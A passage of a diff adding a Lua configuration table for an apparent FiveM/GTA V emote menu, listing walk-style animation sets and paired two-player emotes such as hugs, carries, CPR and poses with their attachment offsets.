+ "Drunk 2 - Buzzed"
+ },
+ ["Drunk3"] = {
+ "move_m@drunk@moderatedrunk",
+ "Drunk 3 - Moderate"
+ },
+ ["Drunk4"] = {
+ "move_m@drunk@moderatedrunk_head_up",
+ "Drunk 4 - Moderate 2"
+ },
+ ["Drunk5"] = {
+ "move_m@drunk@slightlydrunk",
+ "Drunk 5 - Slightly Drunk"
+ },
+ ["Drunk6"] = {
+ "move_m@drunk@verydrunk",
+ "Drunk 6 - Very Drunk"
+ },
+ ["Fat"] = {
+ "move_m@fat@a",
+ "Fat Male"
+ },
+ ["Fat2"] = {
+ "move_f@fat@a",
+ "Fat Female"
+ },
+ ["Fat3"] = {
+ "move_m@fat@bulky",
+ "Fat & Bulky"
+ },
+ ["Fat4"] = {
+ "move_f@fat@a_no_add",
+ "Fat Female 2"
+ },
+ ["Femme"] = {
+ "move_f@femme@"
+ },
+ ["Femme2"] = {
+ "move_m@femme@",
+ "Femme 2"
+ },
+ ["Fire"] = {
+ "move_characters@franklin@fire"
+ },
+ ["Fire2"] = {
+ "move_characters@michael@fire",
+ "Fire 2"
+ },
+ ["Fire3"] = {
+ "move_m@fire",
+ "Fire 3"
+ },
+ ["Flee"] = {
+ "move_f@flee@a"
+ },
+ ["Flee2"] = {
+ "move_f@flee@c",
+ "Flee 2"
+ },
+ ["Flee3"] = {
+ "move_m@flee@a",
+ "Flee 3"
+ },
+ ["Flee4"] = {
+ "move_m@flee@b",
+ "Flee 4"
+ },
+ ["Flee5"] = {
+ "move_m@flee@c",
+ "Flee 5"
+ },
+ ["Floyd"] = {
+ "move_characters@floyd"
+ },
+ ["Franklin"] = {
+ "move_p_m_one"
+ },
+ ["Gangster"] = {
+ "move_m@gangster@generic"
+ },
+ ["Gangsterb"] = {
+ "move_gangster",
+ "Gangster 2"
+ },
+ ["Gangsterc"] = {
+ "move_m@gangster@ng",
+ "Gangster 3"
+ },
+ ["Gangsterd"] = {
+ "move_m@gangster@var_a",
+ "Gangster 4"
+ },
+ ["Gangstere"] = {
+ "move_m@gangster@var_b",
+ "Gangster 5"
+ },
+ ["Gangsterf"] = {
+ "move_m@gangster@var_c",
+ "Gangster 6"
+ },
+ ["Gangsterg"] = {
+ "move_m@gangster@var_d",
+ "Gangster 7"
+ },
+ ["Gangsterh"] = {
+ "move_m@gangster@var_e",
+ "Gangster 8"
+ },
+ ["Gangsteri"] = {
+ "move_m@gangster@var_f",
+ "Gangster 9"
+ },
+ ["Gangsterj"] = {
+ "move_m@gangster@var_g",
+ "Gangster 10"
+ },
+ ["Gangsterk"] = {
+ "move_m@gangster@var_h",
+ "Gangster 11"
+ },
+ ["Gangsterl"] = {
+ "move_m@gangster@var_i",
+ "Gangster 12"
+ },
+ ["Gangsterm"] = {
+ "move_m@gangster@var_j",
+ "Gangster 13"
+ },
+ ["Gangstern"] = {
+ "move_m@gangster@var_k",
+ "Gangster 14"
+ },
+ ["Generic"] = {
+ "move_m@generic",
+ "Generic Male"
+ },
+ ["Generic2"] = {
+ "move_f@generic",
+ "Generic Female"
+ },
+ ["Grooving"] = {
+ "anim@move_m@grooving@",
+ "Grooving Male"
+ },
+ ["Grooving2"] = {
+ "anim@move_f@grooving@",
+ "Grooving Female"
+ },
+ ["Guard"] = {
+ "move_m@prison_gaurd"
+ },
+ ["Handcuffs"] = {
+ "move_m@prisoner_cuffed"
+ },
+ ["Heels"] = {
+ "move_f@heels@c"
+ },
+ ["Heels2"] = {
+ "move_f@heels@d",
+ "Heels 2"
+ },
+ ["Hiking"] = {
+ "move_m@hiking"
+ },
+ ["Hiking2"] = {
+ "move_f@hiking",
+ "Hiking 2"
+ },
+ ["Hipster"] = {
+ "move_m@hipster@a"
+ },
+ ["Hobo"] = {
+ "move_m@hobo@a",
+ "Hobo"
+ },
+ ["Hobo2"] = {
+ "move_m@hobo@b",
+ "Hobo 2"
+ },
+ ["Injured2"] = {
+ "move_f@injured",
+ "Injured 2 - Female"
+ },
+ ["Intimidation"] = {
+ "move_m@intimidation@1h",
+ "Intimidation"
+ },
+ ["Intimidation2"] = {
+ "move_m@intimidation@cop@unarmed",
+ "Intimidation 2"
+ },
+ ["Intimidation3"] = {
+ "move_m@intimidation@unarmed",
+ "Intimidation 3"
+ },
+ ["Janitor"] = {
+ "move_p_m_zero_janitor"
+ },
+ ["Janitor2"] = {
+ "move_p_m_zero_slow",
+ "Janitor 2"
+ },
+ ["Jimmy"] = {
+ "move_characters@jimmy"
+ },
+ ["Jog"] = {
+ "move_m@jog@"
+ },
+ ["Lamar"] = {
+ "move_characters@lamar"
+ },
+ ["Lamar2"] = {
+ "anim_group_move_lemar_alley",
+ "Lamar 2"
+ },
+ ["Lester"] = {
+ "move_heist_lester"
+ },
+ ["Lester2"] = {
+ "move_lester_caneup",
+ "Lester 2"
+ },
+ ["Maneater"] = {
+ "move_f@maneater"
+ },
+ ["Michael"] = {
+ "move_ped_bucket"
+ },
+ ["Money"] = {
+ "move_m@money"
+ },
+ ["Muscle"] = {
+ "move_m@muscle@a"
+ },
+ ["Nervous"] = {
+ "move_characters@jimmy@nervous@"
+ },
+ ["Patricia"] = {
+ "move_characters@patricia"
+ },
+ ["Paramedic"] = {
+ "move_paramedic"
+ },
+ ["Posh"] = {
+ "move_m@posh@"
+ },
+ ["Posh2"] = {
+ "move_f@posh@",
+ "Posh 2"
+ },
+ ["Quick"] = {
+ "move_m@quick"
+ },
+ ["Ron"] = {
+ "move_characters@ron"
+ },
+ ["Runner"] = {
+ "female_fast_runner"
+ },
+ ["Sad"] = {
+ "move_m@sad@a",
+ "Sad Male"
+ },
+ ["Sad2"] = {
+ "move_m@sad@b",
+ "Sad Male 2"
+ },
+ ["Sad3"] = {
+ "move_m@sad@c",
+ "Sad Male 3"
+ },
+ ["Sad4"] = {
+ "move_f@sad@a",
+ "Sad Female"
+ },
+ ["Sad5"] = {
+ "move_f@sad@b",
+ "Sad Female 2"
+ },
+ ["Sassy"] = {
+ "move_m@sassy"
+ },
+ ["Sassy2"] = {
+ "move_f@sassy",
+ "Sassy 2"
+ },
+ ["Scared"] = {
+ "move_f@scared"
+ },
+ ["Sexy"] = {
+ "move_f@sexy@a"
+ },
+ ["Shady"] = {
+ "move_m@shadyped@a"
+ },
+ ["Slow"] = {
+ "move_characters@jimmy@slow@"
+ },
+ ["Stripper"] = {
+ "move_f@stripper@a"
+ },
+ ["Swagger"] = {
+ "move_m@swagger"
+ },
+ ["Swagger2"] = {
+ "move_m@swagger@b",
+ "Swagger 2"
+ },
+ ["Tough"] = {
+ "move_m@tough_guy@"
+ },
+ ["Tough2"] = {
+ "move_f@tough_guy@",
+ "Tough 2"
+ },
+ ["Toolbelt"] = {
+ "move_m@tool_belt@a",
+ "Toolbelt Male"
+
+ },
+ ["Toolbelt2"] = {
+ "move_f@tool_belt@a",
+ "Toolbelt Female"
+ },
+ ["Trash"] = {
+ "clipset@move@trash_fast_turn"
+ },
+ ["Trash2"] = {
+ "missfbi4prepp1_garbageman",
+ "Trash 2"
+ },
+ ["Tracey"] = {
+ "move_characters@tracey"
+ },
+ ["Trevor"] = {
+ "move_p_m_two"
+ },
+ ["Veryslow"] = {
+ "move_m@leaf_blower",
+ "Very Slow"
+ },
+ ["Wide"] = {
+ "move_m@bag"
+ },
+}
+
+
+--- SHARED EMOTES ---
+
+RP.Shared = {
+
+ --[emotename] = {dictionary, animation, displayname, targetemotename, additionalanimationoptions} --
+ -- You don't have to specify targetemotename; If you don't, it will just play the same animation on both.--
+ -- targetemote is used for animations that have a corresponding animation to the other player, ie Carry and Be Carried --
+ -- Emotes will work with either SyncOffset or Attachto. We can attach players either in front of us, to a specific bone, or either side of us. --
+
+
+ ["handshake"] = {
+ "mp_ped_interaction",
+ "handshake_guy_a",
+ "Handshake",
+ "handshake2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000,
+ SyncOffsetFront = 0.9
+ }
+ },
+ ["handshake2"] = {
+ "mp_ped_interaction",
+ "handshake_guy_b",
+ "Handshake 2",
+ "handshake",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000
+ }
+ },
+ ["hug"] = {
+ "mp_ped_interaction",
+ "kisses_guy_a",
+ "Hug",
+ "hug2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 5000,
+ SyncOffsetFront = 1.05
+ }
+ },
+ ["hug2"] = {
+ "mp_ped_interaction",
+ "kisses_guy_b",
+ "Hug 2",
+ "hug",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 5000,
+ SyncOffsetFront = 1.18
+ }
+ },
+ ["hugr"] = {
+ "misscarsteal2chad_goodbye",
+ "chad_armsaround_chad",
+ "Hug Romantic 1",
+ "hugr2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ SyncOffsetSide = -0.05,
+ SyncOffsetFront = 0.52
+ }
+ },
+ ["hugr2"] = {
+ "misscarsteal2chad_goodbye",
+ "chad_armsaround_girl",
+ "Hug Romantic 2",
+ "hugr",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ SyncOffsetSide = -0.05,
+ SyncOffsetFront = 0.52
+ }
+ },
+ ["bro"] = {
+ "mp_ped_interaction",
+ "hugs_guy_a",
+ "Bro",
+ "bro2",
+ AnimationOptions = {
+ SyncOffsetFront = 1.14
+ }
+ },
+ ["bro2"] = {
+ "mp_ped_interaction",
+ "hugs_guy_b",
+ "Bro 2",
+ "bro",
+ AnimationOptions = {
+ SyncOffsetFront = 1.14
+ }
+ },
+ ["give"] = {
+ "mp_common",
+ "givetake1_a",
+ "Give",
+ "give2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["give2"] = {
+ "mp_common",
+ "givetake1_b",
+ "Give 2",
+ "give",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["baseball"] = {
+ "anim@arena@celeb@flat@paired@no_props@",
+ "baseball_a_player_a",
+ "Baseball",
+ "baseballthrow"
+ },
+ ["baseballthrow"] = {
+ "anim@arena@celeb@flat@paired@no_props@",
+ "baseball_a_player_b",
+ "Baseball Throw",
+ "baseball"
+ },
+ ["stickup"] = {
+ "random@countryside_gang_fight",
+ "biker_02_stickup_loop",
+ "Stick Up",
+ "stickupscared",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["stickupscared"] = {
+ "missminuteman_1ig_2",
+ "handsup_base",
+ "Stickup Scared",
+ "stickup",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["punch"] = {
+ "melee@unarmed@streamed_variations",
+ "plyr_takedown_rear_lefthook",
+ "Punch",
+ "punched"
+ },
+ ["punched"] = {
+ "melee@unarmed@streamed_variations",
+ "victim_takedown_front_cross_r",
+ "Punched",
+ "punch"
+ },
+ ["headbutt"] = {
+ "melee@unarmed@streamed_variations",
+ "plyr_takedown_front_headbutt",
+ "Headbutt",
+ "headbutted"
+ },
+ ["headbutted"] = {
+ "melee@unarmed@streamed_variations",
+ "victim_takedown_front_headbutt",
+ "Headbutted",
+ "headbutt"
+ },
+ ["slap2"] = {
+ "melee@unarmed@streamed_variations",
+ "plyr_takedown_front_backslap",
+ "Slap 2",
+ "slapped2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["slap"] = {
+ "melee@unarmed@streamed_variations",
+ "plyr_takedown_front_slap",
+ "Slap",
+ "slapped",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["slapped"] = {
+ "melee@unarmed@streamed_variations",
+ "victim_takedown_front_slap",
+ "Slapped",
+ "slap"
+ },
+ ["slapped2"] = {
+ "melee@unarmed@streamed_variations",
+ "victim_takedown_front_backslap",
+ "Slapped 2",
+ "slap2"
+ },
+ ["receiveblowjob"] = {
+ "misscarsteal2pimpsex",
+ "pimpsex_punter",
+ "Receive Blowjob",
+ "giveblowjob",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 30000,
+ SyncOffsetFront = 0.63
+ },
+ AdultAnimation = true
+ },
+ ["giveblowjob"] = {
+ "misscarsteal2pimpsex",
+ "pimpsex_hooker",
+ "Give Blowjob",
+ "receiveblowjob",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 30000,
+ SyncOffsetFront = 0.63
+ },
+ AdultAnimation = true
+ },
+ ["streetsexmale"] = {
+ "misscarsteal2pimpsex",
+ "shagloop_pimp",
+ "Street Sex Male",
+ "streetsexfemale",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ SyncOffsetFront = 0.50
+ },
+ AdultAnimation = true
+ },
+ ["streetsexfemale"] = {
+ "misscarsteal2pimpsex",
+ "shagloop_hooker",
+ "Street Sex Female",
+ "streetsexmale",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ SyncOffsetFront = 0.50
+ },
+ AdultAnimation = true
+ },
+ ["carry"] = {
+ "missfinale_c2mcs_1",
+ "fin_c2_mcs_1_camman",
+ "Carry",
+ "carry2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["carry2"] = {
+ "nm",
+ "firemans_carry",
+ "Be carried",
+ "carry",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 40269,
+ xPos = -0.14,
+ yPos = 0.15,
+ zPos = 0.14,
+ xRot = 0.0,
+ yRot = -59.0,
+ zRot = -4.5
+ }
+ },
+ ["carry3"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Carry 2",
+ "carry4",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["carry4"] = {
+ "amb@code_human_in_car_idles@generic@ps@base",
+ "base",
+ "Be carried 2",
+ "carry3",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 28252,
+ xPos = 0.350,
+ yPos = 0.15,
+ zPos = -0.15,
+ xRot = -42.50,
+ yRot = -22.50,
+ zRot = 22.50
+ }
+ },
+ ["carrymecute"] = { -- Male Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_mal_002",
+ "Carry Me Cute",
+ "carrymecute2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["carrymecute2"] = { -- Female Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_fem_002",
+ "Carry Me Cute 2",
+ "carrymecute",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0000,
+ yPos = 0.0000,
+ zPos = 0.0000,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 0.0000
+ }
+ },
+ ["carrycmg"] = { -- Male Custom emote by CMG Mods
+ "couplepose1cmg@animation",
+ "couplepose1cmg_clip",
+ "Carry Me Cute 3",
+ "carrycmg2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["carrycmg2"] = { -- Female Custom emote by CMG Mods
+ "couplepose2cmg@animation",
+ "couplepose2cmg_clip",
+ "Carry Me Cute 4",
+ "carrycmg",
+ AnimationOptions = {
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0100,
+ yPos = 0.3440,
+ zPos = -0.0100,
+ xRot = 180.0000,
+ yRot = 180.0000,
+ zRot = -1.9999
+ }
+ },
+ ["bestfriends"] = { -- Female Custom emote by MrWitt
+ "mrwitt@casual_composure_female01",
+ "mrwitt",
+ "Best Friends 1",
+ "bestfriends2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["bestfriends2"] = { -- Female Custom emote by MrWitt
+ "mrwitt@casual_composure_female02",
+ "mrwitt",
+ "Best Friends 2",
+ "bestfriends",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = -0.2500,
+ yPos = 0.1400,
+ zPos = 0.0200,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = -0.0000
+ },
+ },
+ ["bff"] = {
+ "anim@male_couple_03_b",
+ "m_couple_03_b_clip",
+ "BFF Pose",
+ "bffb",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ },
+ },
+ ["bffb"] = {
+ "anim@female_couple_03_b",
+ "f_couple_03_b_clip",
+ "BFF Pose 2",
+ "bff",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0100,
+ yPos = 0.1300,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 76.0000
+ },
+ },
+ ["sitwithmepose"] = { -- Male Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_mal_003",
+ "Sit With Me",
+ "sitwithmepose2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["sitwithmepose2"] = { -- Female Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_fem_003",
+ "Sit With Me Please?",
+ "sitwithmepose",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.3540,
+ yPos = 0.5110,
+ zPos = 0.8310,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = -2.8000
+ }
+ },
+ ["hugpose"] = { -- Male Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_mal_001",
+ "Hug Pose",
+ "hugpose2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["hugpose2"] = { -- Female Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_fem_001",
+ "Hug Pose With Me?",
+ "hugpose",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.1400,
+ yPos = 0.2500,
+ zPos = 0.0000,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 0.0000
+ }
+ },
+ ["hugtip"] = { -- Male Custom emote by Little Spoon
+ "littlespoon@friendship007",
+ "friendship007",
+ "Hug Pose Tippy Toes",
+ "hugtip2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["hugtip2"] = { -- Female Custom emote by Little Spoon
+ "littlespoon@friendship008",
+ "friendship008",
+ "Hug Pose Tippy Toes 2",
+ "hugtip",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0100,
+ yPos = 0.2700,
+ zPos = 0.0,
+ xRot = -180.0000,
+ yRot = -180.0000,
+ zRot = 10.0000
+ }
+ },
+ ["cutepicpose"] = { -- Male Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_mal_004",
+ "Cute Pic Pose",
+ "cutepicpose2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["cutepicpose2"] = { -- Female Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_fem_004",
+ "Cute Pic Pose 2",
+ "cutepicpose",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.2700,
+ yPos = 0.1200,
+ zPos = 0.0000,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 0.0000
+ }
+ },
+ ["couplehhands"] = { -- Male Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_mal_005",
+ "Couple Heart Hands",
+ "couplehhands2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["couplehhands2"] = { -- Female Custom emote by Amnilka
+ "amnilka@photopose@couple@couplefirst",
+ "amnilka_couple_fem_005",
+ "Couple Heart Hands 2",
+ "couplehhands",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = -0.1230,
+ yPos = 0.4740,
+ zPos = 0.0000,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 94.0000
+ }
+ },
+ ["couplewed1a"] = { -- Male Custom emote by EnchantedBrwny
+ "EnchantedBrwny@wedding1a",
+ "wedding1a",
+ "Couple Wedding Pose 1A",
+ "couplewed1b",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["couplewed1b"] = { -- Female Custom emote by EnchantedBrwny
+ "EnchantedBrwny@wedding1b",
+ "wedding1b",
+ "Couple Wedding Pose 1B",
+ "couplewed1a",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0300,
+ yPos = 1.0000,
+ zPos = 0.0200,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 130.0000
+ }
+ },
+ ["couplewed2a"] = { -- Male Custom emote by EnchantedBrwny
+ "EnchantedBrwny@wedding2b",
+ "wedding2b",
+ "Couple Wedding Pose 2A",
+ "couplewed2b",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["couplewed2b"] = { -- Female Custom emote by EnchantedBrwny
+ "EnchantedBrwny@wedding2a",
+ "wedding2a",
+ "Couple Wedding Pose 2B",
+ "couplewed2a",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0100,
+ yPos = 0.2500,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = -88.9000
+ }
+ },
+ ["liftme"] = { -- Male Custom emote by -Moses-
+ "couplepose1pack1anim2@animation",
+ "couplepose1pack1anim2_clip",
+ "Lift Me",
+ "liftme2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["liftme2"] = { -- Female Custom emote by -Moses-
+ "couplepose1pack1anim1@animation",
+ "couplepose1pack1anim1_clip",
+ "Lift Me 2",
+ "liftme",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0020,
+ yPos = 0.2870,
+ zPos = 0.2500,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 180.0000
+ }
+ },
+ ["liftme3"] = { -- Male Custom emote by -Moses-
+ "couplepose2pack1anim2@animation",
+ "couplepose2pack1anim2_clip",
+ "Lift Me 3",
+ "liftme4",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["liftme4"] = { -- Female Custom emote by -Moses-
+ "couplepose2pack1anim1@animation",
+ "couplepose2pack1anim1_clip",
+ "Lift Me 4",
+ "liftme3",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0100,
+ yPos = 0.4800,
+ zPos = 0.5300,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 180.0000
+ }
+ },
+ ["liftme5"] = { -- Male Custom emote by -Moses-
+ "couplepose3pack1anim2@animation",
+ "couplepose3pack1anim2_clip",
+ "Lift Me 5",
+ "liftme6",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["liftme6"] = { -- Female Custom emote by -Moses-
+ "couplepose3pack1anim1@animation",
+ "couplepose3pack1anim1_clip",
+ "Lift Me 6",
+ "liftme5",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = -0.2120,
+ yPos = -0.5400,
+ zPos = -0.1000,
+ xRot = 0.0000,
+ yRot = 0.0000,
+ zRot = 0.0000
+ }
+ },
+ ["csdog"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Carry Small Dog",
+ "csdog2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AnimalEmote = true
+ },
+ ["csdog2"] = { -- Emote by MissSnowie
+ "misssnowie@little_doggy_lying_down",
+ "base",
+ "Small Dog Carried",
+ "csdog",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ xPos = -0.040,
+ yPos = 0.330,
+ zPos = 0.280,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 80.0,
+ },
+ AnimalEmote = true
+ },
+ ["csdog3"] = { -- Custom Emote by MissSnowie
+ "hooman@hugging_little_doggy",
+ "base",
+ "Carry Small Dog 2",
+ "csdog4",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AnimalEmote = true
+ },
+ ["csdog4"] = { -- Custom Emote by MissSnowie
+ "little_doggy@hugging_hooman",
+ "base",
+ "Small Dog Carried 2",
+ "csdog3",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 24818,
+ xPos = -0.95,
+ yPos = 0.16,
+ zPos = -0.15,
+ xRot = 3.70,
+ yRot = 75.00,
+ zRot = -161.90,
+ },
+ AnimalEmote = true
+ },
+ ["cbdog"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Carry Big Dog",
+ "cbdog2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AnimalEmote = true
+ },
+ ["cbdog2"] = {
+ "creatures@rottweiler@amb@sleep_in_kennel@",
+ "sleep_in_kennel",
+ "Big Dog Carried",
+ "cbdog",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ xPos = -0.100,
+ yPos = 0.650,
+ zPos = 0.430,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = -100.00,
+ },
+ AnimalEmote = true
+ },
+ ["pback"] = { -- Custom Animation By SapphireMods
+ "mx@piggypack_a",
+ "mxclip_a",
+ "Offer Piggy Back",
+ "pback2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["pback2"] = { -- Custom Animation By SapphireMods
+ "mx@piggypack_b",
+ "mxanim_b",
+ "Be Piggy Backed",
+ "pback",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0200,
+ yPos = -0.4399,
+ zPos = 0.4200,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0
+ }
+ },
+ ["cprs"] = {
+ "mini@cpr@char_a@cpr_str",
+ "cpr_pumpchest",
+ "Give CPR",
+ "cprs2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 250
+ }
+ },
+ ["cprs2"] = {
+ "mini@cpr@char_b@cpr_str",
+ "cpr_pumpchest",
+ "Get CPR",
+ "cprs",
+ AnimationOptions = {
+ EmoteLoop = true,
+ Attachto = true,
+ xPos = 0.35,
+ yPos = 0.8,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 270.0
+ }
+ },
+ ["cprs3"] = {
+ "missheistfbi3b_ig8_2",
+ "cpr_loop_paramedic",
+ "Give CPR 2",
+ "cprs4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 250
+ }
+ },
+ ["cprs4"] = {
+ "missheistfbi3b_ig8_2",
+ "cpr_loop_victim",
+ "Get CPR 2",
+ "cprs3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ Attachto = true,
+ xPos = 0.35,
+ yPos = 0.65,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 270.0
+ }
+ },
+ ["hostage"] = {
+ "anim@gangops@hostage@",
+ "perp_idle",
+ "Take hostage",
+ "hostage2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["hostage2"] = {
+ "anim@gangops@hostage@",
+ "victim_idle",
+ "Be hostage",
+ "hostage",
+ AnimationOptions = {
+ EmoteLoop = true,
+ Attachto = true,
+ xPos = -0.3,
+ yPos = 0.1,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0
+ }
+ },
+ ["search"] = { -- Custom Emote By ultrahacx
+ "custom@police",
+ "police",
+ "Search",
+ "search2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = false,
+ -- EmoteDuration = 9700
+ }
+ },
+ ["search2"] = {
+ "missfam5_yoga",
+ "a2_pose",
+ "Be searched",
+ "search",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = false,
+ -- EmoteDuration = 9700,
+ Attachto = true,
+ xPos = 0.0,
+ yPos = 0.5,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0
+ }
+ },
+ ["followa"] = { -- Custom Ped In Front Emote By Dollie Mods
+ "dollie_mods@follow_me_001",
+ "follow_me_001",
+ "Follow A (Front)",
+ "followb",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ -- We can set this to true for lols, however it messes up if you walk through doors. Either player can press X to cancel the shared emotes
+ }
+ },
+ ["followb"] = { -- Custom Ped At Back Emote by Dollie Mods
+ "dollie_mods@follow_me_002",
+ "follow_me_002",
